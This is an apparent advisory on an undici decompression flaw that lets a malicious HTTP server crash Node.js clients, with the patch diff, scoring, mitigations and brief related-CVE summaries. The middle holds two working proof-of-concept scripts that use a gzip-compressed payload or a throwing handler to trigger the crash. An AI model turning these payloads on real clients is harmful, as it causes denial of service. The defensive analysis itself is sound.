Oct 28, 2026·10 min read·2 visits
Undici versions 7.15.0–7.30.0 and 8.0.0–8.12.1 fail to catch synchronous exceptions thrown by downstream handlers inside asynchronous zlib decompression callbacks. A remote HTTP server can return a compressed payload that triggers a downstream throw (such as exceeding a configured size limit in the dump interceptor), causing an unhandled exception that crashes the Node.js process.
An uncaught exception vulnerability (CWE-248) exists in the Node.js HTTP/1.1 client library undici, affecting versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1. The flaw resides in the DecompressHandler interceptor (lib/interceptor/decompress.js), which processes compressed HTTP response streams using asynchronous Node.js zlib callbacks. When forwarding decompressed data chunks or stream completion events to downstream handlers, the interceptor fails to wrap the invocations of super.onResponseData() and super.onResponseEnd() in try...catch blocks. If a downstream interceptor or handler throws an exception during response processing—such as the built-in dump interceptor enforcing a maximum response size—the exception escapes the asynchronous zlib callback stack onto the top-level Node.js event loop, terminating the entire client process.
undici is the foundational HTTP/1.1 client library written from scratch for Node.js, powering both standalone high-throughput HTTP requests and the built-in fetch() implementation in the Node.js runtime. To support modular request and response processing, undici provides an interceptor pipeline architecture. Interceptors wrap request dispatchers and response handlers to implement cross-cutting capabilities such as automatic redirection, caching, response body dumping, and transparent content decompression.
In undici versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, the decompress interceptor (lib/interceptor/decompress.js) contains an uncaught exception vulnerability classified under CWE-248 (Uncaught Exception). When an HTTP response includes a Content-Encoding header (gzip, deflate, br, or zstd), DecompressHandler initializes a corresponding Node.js zlib stream to decompress the incoming byte stream before passing the resulting chunks to subsequent handlers in the interceptor chain.
While undici's core HTTP parsing engine wraps synchronous response handler callbacks in error-handling boundaries that convert thrown exceptions into isolated per-request failures, DecompressHandler invokes downstream handlers from inside asynchronous zlib stream event callbacks. Because these asynchronous invocations lack try...catch boundaries, any exception thrown by a downstream handler escapes directly to the Node.js event loop.
This architectural oversight creates an attack surface whenever a client composes the decompress interceptor with a downstream handler designed to throw exceptions upon encountering invalid states or boundary violations. Most notably, composing decompress with undici's built-in interceptors.dump({ maxSize }) allows a remote HTTP server to terminate the client's Node.js process by sending a small compressed payload that inflates past maxSize.
To understand the root cause of CVE-2026-87029, it is necessary to examine undici's interceptor contract and how DecoratorHandler subclasses interact with the core request lifecycle. In undici, response processing is driven by a state machine that invokes lifecycle methods on a handler object: onRequestStart, onResponseStart, onResponseData, onResponseTrailers, onResponseEnd, and onError. Interceptors extend DecoratorHandler to intercept these calls, perform transformation or validation, and delegate execution to the next handler via super.<method>().
In a standard synchronous pipeline without decompression, the core socket parser invokes handler.onResponseData(controller, chunk) directly within an execution frame guarded by undici's internal error convergence logic. If a downstream handler throws a synchronous exception—for example, interceptors.dump({ maxSize }) throwing an AbortError or RequestAbortedError when the accumulated byte count exceeds maxSize—the outer engine catches the exception, aborts the active transport, and transitions the request to an error state via onError.
The decompress interceptor breaks this synchronous call stack by introducing an asynchronous stream boundary. When DecompressHandler receives compressed chunks via its own onResponseData method, it writes them into a Node.js zlib decompression stream. The decompressed output is not returned synchronously; instead, zlib processes the data on worker threads or internal buffers and emits decompressed chunks asynchronously via stream callbacks (data events, drain loops, and end events).
Within DecompressHandler, the internal drain and completion methods invoke super.onResponseData(this.#controller, chunk) and super.onResponseEnd(this.#controller, this.#trailers) directly from these asynchronous zlib callbacks. Because the original synchronous stack frame that initiated the socket read has already unwound, undici's outer try...catch block is no longer on the call stack. Without a local try...catch block inside DecompressHandler, any exception thrown by super.onResponseData or super.onResponseEnd propagates unhandled to the top of the zlib callback stack, triggering an uncaughtException event that crashes the Node.js runtime.
The vulnerability is located in lib/interceptor/decompress.js within the DecompressHandler class. Specifically, two execution paths lacked exception handling boundaries: the chunk drainage loop that forwards decompressed data (super.onResponseData) and the decompression completion handler (super.onResponseEnd).
In the vulnerable implementation, as decompressed buffers are drained from the internal queue, DecompressHandler updates this.#decompressedSize and immediately calls super.onResponseData(this.#controller, chunk). Similarly, when decompression finishes without stream errors, #onDecompressionEnd cleans up the decompressor instances and calls super.onResponseEnd(this.#controller, this.#trailers).
The official patch, committed in f851f315db1f2acce0ea668f88d9d0fa61c8420c (v8 branch) and cherry-picked to 63cba7712ca012b2603c6aeeb4c72d8692332cd0 (v7 branch), resolves the issue by enclosing both downstream delegations in try...catch blocks and routing caught exceptions to this.#fail(err):
--- a/lib/interceptor/decompress.js
+++ b/lib/interceptor/decompress.js
@@ -223,9 +223,14 @@ class DecompressHandler extends DecoratorHandler {
this.#decompressedSize = decompressedSize
}
- const result = super.onResponseData(this.#controller, chunk)
- if (result === false && !this.#controller.paused) {
- this.#controller.pause()
+ // Wrap downstream data forwarding in try/catch to trap synchronous throws
+ // originating inside asynchronous zlib decompression callbacks.
+ try {
+ const result = super.onResponseData(this.#controller, chunk)
+ if (result === false && !this.#controller.paused) {
+ this.#controller.pause()
+ }
+ } catch (err) {
+ this.#fail(err)
+ return
}
}
} while (this.#drainRequested && !this.#terminated && !this.#controller.paused)
@@ -242,9 +247,14 @@ class DecompressHandler extends DecoratorHandler {
return
}
- this.#terminated = true
this.#cleanupDecompressors()
- super.onResponseEnd(this.#controller, this.#trailers)
+ // Wrap downstream completion callback to catch validation or state errors
+ // thrown at the end of the response lifecycle.
+ try {
+ super.onResponseEnd(this.#controller, this.#trailers)
+ } catch (err) {
+ this.#fail(err)
+ return
+ }
+ this.#terminated = true
}
#onDecompressionEnd () {Notice also the subtle ordering change in the second hunk: this.#terminated = true was moved after the try...catch block around super.onResponseEnd(). In DecompressHandler, the #fail(err) helper checks if (this.#terminated) return before cleaning up resources and forwarding the error via this.#controller.abort(err) or super.onError(err). Had this.#terminated = true remained prior to super.onResponseEnd(), calling this.#fail(err) inside the catch block would have exited early, swallowing the exception and leaving the downstream request promise hanging indefinitely.
The fix is complete and directly addresses the root cause across all supported compression algorithms (gzip, deflate, brotli, and zstd) because all decompressor streams funnel through the same #drain and #onDecompressionEnd methods in DecompressHandler. By delegating caught errors to this.#fail(err) prior to setting this.#terminated = true, the patch restores undici's error-convergence invariant across the asynchronous stream boundary.
Exploiting CVE-2026-87029 requires a client application using a vulnerable version of undici (7.15.0–7.30.0 or 8.0.0–8.12.1) to communicate with an untrusted or compromised HTTP server, or to fetch attacker-controlled URLs (such as in webhook processors, web scrapers, or SSRF-exposed microservices). The client must configure its dispatcher pipeline to compose the decompress interceptor alongside a downstream interceptor or custom DecoratorHandler that throws an exception during onResponseData or onResponseEnd.
A notable aspect of this vulnerability is its asymmetric payload amplification via compression. When a developer configures interceptors.dump({ maxSize: 1024 }), the intent is to protect the client from memory exhaustion by aborting responses larger than 1 KB. However, when placed downstream of createDecompressInterceptor(), the dump interceptor measures the decompressed byte size rather than the compressed wire size. An attacker can send a highly compressible buffer—such as 2 MB of repeated 0x41 ('A') bytes compressed with gzip into approximately 2 KB on the wire—bypassing upstream network size limits while effortlessly exceeding maxSize upon decompression.
onResponseData (dump Interceptor)The following reproduction script, derived from the upstream regression test suite in test/interceptors/decompress.js, demonstrates how a compressed response exceeding maxSize crashes the client process:
const { createServer } = require('node:http')
const { gzipSync } = require('node:zlib')
const { Client, interceptors } = require('undici')
const createDecompressInterceptor = require('undici/lib/interceptor/decompress')
// 1. Attacker-controlled HTTP server returning a highly compressed payload
const server = createServer({ joinDuplicateHeaders: true }, (_req, res) => {
// 2 MB of 0x41 compresses to a tiny wire payload (~2 KB)
const body = gzipSync(Buffer.alloc(2 * 1024 * 1024, 0x41))
res.writeHead(200, {
'Content-Type': 'application/octet-stream',
'Content-Encoding': 'gzip'
})
res.end(body)
})
server.listen(0, async () => {
const port = server.address().port
// 2. Vulnerable client pipeline composing decompress + dump({ maxSize })
const client = new Client(`http://localhost:${port}`).compose(
createDecompressInterceptor(),
interceptors.dump({ maxSize: 1024 })
)
try {
const response = await client.request({
method: 'GET',
path: '/'
})
// On vulnerable versions: throws inside zlib callback -> uncaughtException -> CRASH
// On patched versions: cleanly rejects with AbortError
await response.body.text()
} catch (err) {
console.log('Safely caught per-request error:', err.name)
} finally {
await client.close()
server.close()
}
})onResponseEnd Custom HandlerA second attack vector exists when a downstream handler performs full-payload validation or trailer inspection in onResponseEnd and throws upon validation failure:
const { createServer } = require('node:http')
const { gzipSync } = require('node:zlib')
const { Client, DecoratorHandler } = require('undici')
const createDecompressInterceptor = require('undici/lib/interceptor/decompress')
const server = createServer((_req, res) => {
res.writeHead(200, { 'Content-Encoding': 'gzip' })
res.end(gzipSync(Buffer.from('untrusted response payload')))
})
server.listen(0, async () => {
const port = server.address().port
class CustomValidationHandler extends DecoratorHandler {
onResponseEnd () {
throw new Error('downstream onResponseEnd validation failed')
}
}
const client = new Client(`http://localhost:${port}`).compose(
createDecompressInterceptor(),
(dispatch) => (opts, handler) => dispatch(opts, new CustomValidationHandler(handler))
)
try {
const response = await client.request({ method: 'GET', path: '/' })
await response.body.text()
} catch (err) {
console.log('Safely caught per-request error:', err.message)
} finally {
await client.close()
server.close()
}
})The primary impact of CVE-2026-87029 is a high-severity loss of Availability (Denial of Service) for the affected Node.js client application. Because Node.js executes JavaScript on a single-threaded event loop, an unhandled exception escaping an asynchronous zlib callback immediately terminates the operating system process unless a global process.on('uncaughtException') handler is registered. In multi-tenant backend services, API gateways, or SSRF-capable proxy workers that use undici to fetch external resources, a single malicious HTTP response tears down the entire worker process, dropping all concurrent in-flight requests handled by that instance.
The vulnerability is assigned a CVSS v3.1 Base Score of 5.9 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H:
AV:N): Exploitable remotely over the network by any HTTP server to which the undici client connects.AC:H): Exploitation depends on non-default client configuration; specifically, the application must explicitly compose the decompress interceptor with a throwing downstream handler such as interceptors.dump({ maxSize }).PR:N) & User Interaction (UI:N): No authentication or manual interaction is required once the client initiates an HTTP request to the target server.C:N) & Integrity (I:N): The flaw does not permit memory disclosure, cross-request data leakage, or unauthorized data modification.A:H): Complete termination of the Node.js process.From a threat intelligence perspective, CVE-2026-87029 carries an EPSS score of 0.00260 (0.26%), placing it in the 17.67th percentile. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no weaponized exploits in the wild have been observed.
The OpenJS Foundation and the undici maintainers resolved CVE-2026-87029 in versions 7.30.1 (for the 7.x release line) and 8.12.2 (for the 8.x release line). All users and downstream framework maintainers depending on undici should upgrade to these patched releases or later.
# For applications tracking the 8.x release line
npm install undici@^8.12.2
# For applications tracking the 7.x release line
npm install undici@^7.30.1> [!NOTE]
> If undici is consumed transitively via another library or bundled inside a custom container image, inspect your dependency tree using npm ls undici and apply overrides in package.json if necessary to force resolution to >=7.30.1 <8.0.0 or >=8.12.2.
For environments where an immediate package upgrade cannot be deployed, apply the following architectural mitigations:
decompress from Throwing Interceptors: Remove createDecompressInterceptor() from dispatcher pipelines that also include interceptors.dump({ maxSize }) or custom DecoratorHandler implementations that throw synchronous exceptions inside onResponseData or onResponseEnd.interceptors.dump({ maxSize }) inside the interceptor pipeline, consume the response body stream iteratively at the application layer and abort the request using a standard AbortController when the byte budget is exceeded.DecoratorHandler subclasses downstream of decompress, wrap custom logic inside onResponseData and onResponseEnd in a try...catch block and invoke controller.abort(err) directly rather than throwing.CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
undici Node.js / OpenJS Foundation | >= 7.15.0, < 7.30.1 | 7.30.1 |
undici Node.js / OpenJS Foundation | >= 8.0.0, < 8.12.2 | 8.12.2 |
| Attribute | Detail |
|---|---|
| CVE / Advisory ID | CVE-2026-87029 / GHSA-55wc-3pg8-jfw6 |
| Weakness Class | CWE-248 (Uncaught Exception) |
| Affected Component | undici DecompressHandler (lib/interceptor/decompress.js) |
| CVSS v3.1 Score | 5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| EPSS Score | 0.26% (17.67th Percentile) |
| Primary Impact | Remote Denial of Service (Node.js Process Crash) |
| Exploit Status | Proof-of-Concept (Upstream Regression Tests) |
| Patched Versions | undici 7.30.1 and 8.12.2 |
An exception is thrown by an application or runtime component, but there is no corresponding handler to catch and process the exception. In Node.js, an uncaught exception triggers the uncaughtException event; if unhandled, the process aborts immediately.
The Model Context Protocol (MCP) TypeScript SDK contains an uncontrolled resource consumption vulnerability in its HTTP server transport implementations and middleware adapters. Affected versions fail to enforce upper bounds on incoming HTTP POST request body sizes and JSON-RPC 2.0 batch array lengths. In addition, middleware wrappers for Express and Hono parse request bodies into memory prior to validating Host and Origin headers. Unauthenticated remote attackers can exploit these flaws to trigger Out-Of-Memory (OOM) process crashes or monopolize the single-threaded Node.js event loop.
An uncontrolled resource consumption vulnerability in the WebSocket client implementation of Node.js undici allows a remote WebSocket server to trigger an out-of-memory (OOM) crash in the client process. The vulnerability stems from the failure of the incoming frame parser (ByteParser) to respect socket write backpressure when automatically emitting PONG responses to incoming PING control frames. By continuously streaming small 2-byte PING frames while refusing to read from the TCP connection, a malicious server forces the client to queue outbound PONG frames in the V8 heap without bound.
CVE-2026-87018 (GHSA-qrxm-fqhp-jwvm) is a high-severity Denial of Service (DoS) vulnerability in undici, the default HTTP/1.1 and HTTP/2 client for Node.js that backs the global fetch() implementation. The flaw stems from reachable assertions in undici's socket and session error handlers, which assume that TLS hostname verification errors (ERR_TLS_CERT_ALTNAME_INVALID) cannot occur after the initial connection establishment. By initiating a post-handshake TLS 1.2 renegotiation and presenting a certificate with a mismatched Subject Alternative Name (SAN), a remote HTTPS server can trigger this assertion and terminate the entire Node.js runtime process via an uncaught AssertionError.
FileBrowser Quantum prior to versions 1.5.2-stable and 2.0.1-beta contains an improper link resolution vulnerability (CWE-59) in its file indexing and retrieval subsystems. When processing file read, download, preview, media streaming, OnlyOffice integration, or public share requests, the application resolves symbolic links via Go's filepath.EvalSymlinks without verifying that the canonical target path remains within the configured source root and the user's assigned access scope. Consequently, authenticated users with read access or unauthenticated holders of public share links can read arbitrary server-accessible files outside their designated directory boundaries.
CVE-2026-116676 (GHSA-rjh2-4xgw-p2hj) is an OS command injection vulnerability (CWE-78) in Atlantis, an open-source Go application that automates Terraform pull request workflows via webhooks. From version 0.4.0 prior to version 0.47.1, Atlantis constructed Terraform and Conftest commands by joining argument slices into a single space-separated string and passing them to a shell interpreter (`sh -c`). Because user-controlled workspace names from `atlantis.yaml`, pull request comments, HCL configurations, and API requests were insufficiently validated against shell metacharacters, an authenticated contributor eligible to trigger a Terraform plan can execute arbitrary commands under the Atlantis service account.
CVE-2026-116679 (GHSA-5cp7-fp4j-wwcv) is an incorrect authorization vulnerability (CWE-863) in m1k1o/neko, a self-hosted virtual browser running inside Docker via WebRTC. In versions from 3.0.0 prior to 3.1.5, a boolean logic inversion in the LegacyIsHost() method within server/internal/session/session.go causes the server to unconditionally grant host input privileges over the legacy WebRTC data channel when implicit hosting is enabled. Authenticated non-privileged room members can exploit this flaw to bypass room control locks and profile restrictions, allowing unauthorized injection of mouse and keyboard events into the shared virtual browser session.